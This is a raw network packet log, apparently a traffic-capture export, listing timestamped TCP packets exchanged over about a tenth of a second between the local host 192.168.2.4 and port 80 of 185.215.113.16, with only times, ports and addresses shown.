Nov 18, 2024 21:04:15.755661964 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.757169962 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.757210016 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.757230043 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.757244110 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.758944035 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.758977890 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.759005070 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.759025097 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.760653019 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.760687113 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.760737896 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.762166023 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.762200117 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.762217045 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.762276888 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.763843060 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.763878107 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.763945103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.765412092 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.765445948 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.765474081 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.765479088 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.765491962 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.765605927 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.767076969 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.767111063 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.767133951 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.767155886 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.768452883 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.768488884 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.768548012 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.770195007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.770229101 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.770256042 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.770288944 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.771922112 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.771955967 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.771971941 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.772007942 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.772883892 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.772917032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.772941113 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.772948027 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.773011923 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.774414062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.774449110 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.774513960 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.775177002 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.775212049 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.775264978 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.776701927 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.776735067 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.776750088 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.776783943 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.778388023 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.778423071 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.778500080 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.778846979 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.778879881 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.778908968 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.778924942 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.780890942 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.781443119 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.782303095 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.782361031 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.784343004 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.784378052 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.784400940 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.784430027 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.785609007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.785660028 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.785732985 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.787671089 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.787704945 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.787767887 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.788747072 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.788779974 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.788811922 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.788835049 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.788862944 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.790265083 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.790298939 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.790347099 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.792073965 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.792109013 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.792181969 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.793148041 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.793181896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.793210983 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.793243885 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.795490980 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.795526028 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.795552969 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.795561075 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.795583963 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.795636892 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.796533108 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.796567917 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.796603918 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.796634912 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.799693108 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.799726963 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.799757004 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.799783945 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.800179005 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.800211906 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.800347090 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.803498983 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.803580999 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.803606033 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.803642988 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.804337025 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.804371119 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.804397106 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.804404974 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.804415941 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.804450989 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.806097031 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.806130886 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.806148052 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.806179047 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.807581902 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.807617903 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.807648897 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.807739973 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.808134079 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.808167934 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.808186054 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.808218956 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.809226036 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.809259892 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.809279919 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.809320927 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.810775995 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.810810089 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.810832977 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.810857058 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.811991930 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.812026024 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.812052011 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.812086105 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.813118935 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.813153028 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.813179970 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.813208103 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.814563990 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.814599037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.814620018 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.814632893 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.814647913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.814678907 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.815788984 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.815824032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.815841913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.815876007 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.817676067 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.817711115 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.817728043 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.817759991 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.819468021 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.819504023 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.819535971 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.819565058 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.820936918 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.820971966 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.820988894 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.821006060 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.821019888 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.821068048 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.822604895 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.822639942 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.822664976 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.822696924 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.824246883 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.824281931 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.824311972 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.824340105 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.826284885 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.826319933 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.826342106 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.826370955 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.827351093 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.827384949 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.827410936 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.827439070 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.828635931 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.828672886 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.828687906 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.828706026 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.828721046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.828756094 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.829988003 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.830020905 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.830037117 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.830070019 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.831275940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.831310034 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.831330061 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.831398964 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.832865000 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.832901955 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.832927942 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.832957029 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.833123922 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.833158016 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.833185911 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.833214998 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.834947109 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.834980965 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.835007906 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.835041046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.835937023 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.835971117 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.835988045 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.836026907 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.837415934 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.837450027 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.837481022 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.837513924 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.838293076 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.838329077 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.838352919 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.838365078 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.838373899 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.838423967 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.839653015 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.839688063 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.839781046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.839781046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.841149092 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.841183901 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.841221094 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.841244936 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.843261957 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.843298912 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.843348026 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.843348026 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.844396114 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.844429016 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.844449043 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.844465017 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.844477892 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.844521999 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.846648932 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.846683979 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.846712112 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.846734047 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.848189116 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.848223925 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.848243952 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.848278046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.850708961 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.850744009 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.850776911 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.850810051 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.852148056 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.852183104 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.852210999 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.852240086 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.854192972 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.854228020 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.854254007 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.854262114 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.854269981 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.854310036 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.856057882 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.856091976 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.856122971 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.856154919 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.857969046 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.858005047 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.858042955 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.858042955 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.860441923 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.860477924 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.860512018 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.860546112 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.862014055 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.862050056 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.862072945 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.862082958 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.862090111 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.862138033 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.863332987 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.863368034 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.863392115 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.863421917 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.865406990 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.865442038 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.865468979 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.865490913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.866614103 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.866648912 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.866676092 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.866704941 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.868628979 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.868664026 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.868688107 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.868710041 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.869851112 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.869885921 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.869906902 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.869919062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.869930983 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.869962931 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.871408939 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.871443033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.871468067 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.871486902 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.872950077 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.872983932 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.873007059 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.873037100 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.873783112 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.873819113 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.873836994 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.873866081 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.875351906 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.875387907 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.875416040 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.875444889 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.875715017 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.875750065 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.875776052 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.875804901 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.878137112 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.878170967 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.878196001 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.878218889 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.881383896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.881422043 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.881457090 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.881484985 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.885596991 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.885632992 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.885665894 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.885694027 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:15.888421059 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:15.888457060 CET	80	49818	185.215.113.16	192.168.2.4
